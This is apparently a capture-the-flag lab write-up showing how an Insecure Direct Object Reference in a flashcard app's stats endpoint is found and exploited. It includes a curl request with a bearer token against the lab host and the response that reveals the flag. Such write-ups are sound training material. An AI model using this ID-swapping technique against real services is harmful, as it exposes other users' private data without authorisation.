Application Analysis
The first step was to use the application as a normal user to understand its intended behavior. I used a HTTP proxy tool (e.g. Burp Suite or Caido) to analyze all requests between the browser and the server.
Key features of the application are:
- Studying decks stored in the dashboard
- Discover and add new decks to your dashboard
- Track your learning progress
Vulnerability Discovery
I noticed that the application uses the user ID to fetch learning progress (statistics) via the endpoint GET /api/stats/4.
If the access control is not implemented correctly, this results in an Insecure Direct Object Reference (IDOR) vulnerability that allows us to fetch the learning progress of other users.
Exploitation
To exploit this vulnerability, we can send a request to GET /api/stats/<user_id> where <user_id> is the ID of another user. This will return the learning progress of that user and we get the flag.
❯ curl 'https://lab-1772001801911-a1lqmg.labs-app.bugforge.io/api/stats/1' -H 'Host: lab-1772001801911-a1lqmg.labs-app.bugforge.io' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJjeWIzcjdocjM0NyIsImlhdCI6MTc3MjAwMjA0NH0.iQfla8j9fTyZmkGFf3YJGA-tAllMJYr46Dyrg4cAh9Y'
{"total_cards_studied":0,"cards_mastered":0,"total_reviews":null,"sessions_this_week":0,"cards_studied_this_week":0,"achievement_flag":"bug{ztdzR7mmsAP9kZCRwm13b7TU8n9FTMMw}"}